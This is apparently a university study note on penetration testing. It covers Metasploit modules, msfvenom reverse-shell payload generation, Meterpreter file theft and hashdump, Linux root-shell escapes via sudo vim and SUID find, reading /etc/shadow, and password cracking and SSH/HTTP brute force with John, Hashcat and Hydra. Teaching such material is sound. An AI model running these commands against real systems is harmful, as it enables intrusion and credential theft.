Exploitation & Post-Exploitation

πŸ“ Concept Note β€” EHPT Unit III | Source: MCA Sem III Syllabus


Metasploit Framework

Architecture

β”Œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”
β”‚           Metasploit Framework       β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”¬β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚ Auxiliary  β”‚ Exploit  β”‚   Payload    β”‚
β”‚ (scanning, β”‚ (attack  β”‚ (code that   β”‚
β”‚  fuzzing)  β”‚  code)   β”‚  runs after) β”‚
β”œβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”Όβ”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€
β”‚  Encoder   β”‚   NOP    β”‚    Post      β”‚
β”‚ (evade AV) β”‚(padding) β”‚(post-exploit)β”‚
β””β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”΄β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”€β”˜

Module Types

ModulePurposeExample
AuxiliaryScanning, fuzzing, sniffingauxiliary/scanner/smb/smb_version
ExploitAttack code targeting a vulnerabilityexploit/unix/ftp/vsftpd_234_backdoor
PayloadCode that executes on target after exploitwindows/meterpreter/reverse_tcp
EncoderObfuscate payload to evade antivirusx86/shikata_ga_nai
PostPost-exploitation modulespost/multi/recon/local_exploit_suggester

Essential msfconsole Commands

msfconsole                        # Launch Metasploit
 
# Finding modules
search vsftpd                     # Search for exploits
search type:exploit platform:linux # Filtered search
 
# Using a module
use exploit/unix/ftp/vsftpd_234_backdoor
show options                       # See required settings
set RHOSTS 192.168.1.10           # Set target IP
set LHOST 192.168.1.5             # Set attacker IP (for reverse shells)
set LPORT 4444                     # Set listening port
run                                # Execute exploit
 
# Session management
sessions                           # List active sessions
sessions -i 1                     # Interact with session 1
background                         # Background current session

Key Variables

VariableMeaningExample
RHOSTSRemote host (target)192.168.1.10
RPORTRemote port21 (FTP), 445 (SMB)
LHOSTLocal host (attacker)192.168.1.5
LPORTLocal port (listener)4444

Payloads β€” Staged vs Stageless

TypeFormatDescription
Stagedwindows/meterpreter/reverse_tcpSends small stager first, downloads full payload β€” smaller, more evasive
Stagelesswindows/shell_reverse_tcpEntire payload sent at once β€” larger, but works in restricted networks

MSFvenom β€” Payload Generation

# Generate a Linux reverse shell
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f elf > shell.elf
 
# Generate a Windows executable
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.5 LPORT=4444 -f exe > shell.exe

Meterpreter Commands

Once you have a Meterpreter session:

# System info
sysinfo              # OS, hostname, architecture
getuid               # Current user
ps                   # Running processes
 
# File operations
download /etc/passwd  # Download file from target
upload /tmp/tool.sh   # Upload file to target
ls                    # List files
cd /tmp               # Change directory
 
# Advanced
shell                 # Drop to OS command shell
migrate 1234          # Migrate to another process (for stability)
hashdump              # Dump password hashes (needs SYSTEM)
run post/multi/recon/local_exploit_suggester  # Find privesc paths

Privilege Escalation

Linux Privilege Escalation

Check sudo Permissions

sudo -l
# Look for entries like: (ALL) NOPASSWD: /usr/bin/vim

If vim has sudo: sudo vim -c ':!bash' β†’ root shell

Find SUID Binaries

find / -perm -4000 -type f 2>/dev/null

SUID binaries run with the owner’s permissions (often root). If a SUID binary can execute commands, it’s a path to root.

GTFOBins

Website (https://gtfobins.github.io/) that lists Unix binaries exploitable for privilege escalation.

Example β€” SUID find:

find . -exec /bin/bash -p \;
# -p preserves SUID privileges β†’ root shell

After Getting Root

id                     # Confirm: uid=0(root)
cat /etc/shadow        # Read password hashes
cat /etc/passwd        # Read user accounts

Windows Privilege Escalation

TechniqueDescription
Unquoted Service PathService path without quotes allows DLL injection
Weak Registry PermissionsModify service configuration in registry
Token Impersonationgetsystem in Meterpreter
AlwaysInstallElevatedMSI files install with SYSTEM privileges

Password Attacks

Identifying Hash Types

Hash ExampleAlgorithmLength
5d41402abc4b2a76b9719d911017c592MD532 hex
aaf4c61ddcc5e8a2dabede0f3b482cd9aea9434dSHA-140 hex
$6$rounds=5000$salt$hash...SHA-512 (Linux)Variable
Administrator:500:aad3b435...:::NTLM (Windows)LM:NTLM format

John the Ripper

# Dictionary attack
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
 
# Show cracked passwords
john --show hashes.txt
 
# Specify hash format
john --format=raw-md5 --wordlist=rockyou.txt hashes.txt

Hashcat

# MD5 dictionary attack (mode 0)
hashcat -m 0 hashes.txt rockyou.txt
 
# NTLM (mode 1000)
hashcat -m 1000 hashes.txt rockyou.txt
 
# SHA-256 (mode 1400)
hashcat -m 1400 hashes.txt rockyou.txt

Hydra β€” Online Brute Force

# SSH brute force
hydra -l admin -P rockyou.txt ssh://192.168.1.10
 
# HTTP form brute force
hydra -l admin -P rockyou.txt 192.168.1.10 http-post-form "/login:username=^USER^&password=^PASS^:F=incorrect"

⚠️ Online brute force is slow and noisy β€” easily detected by SOC/SIEM. Use only in authorised testing.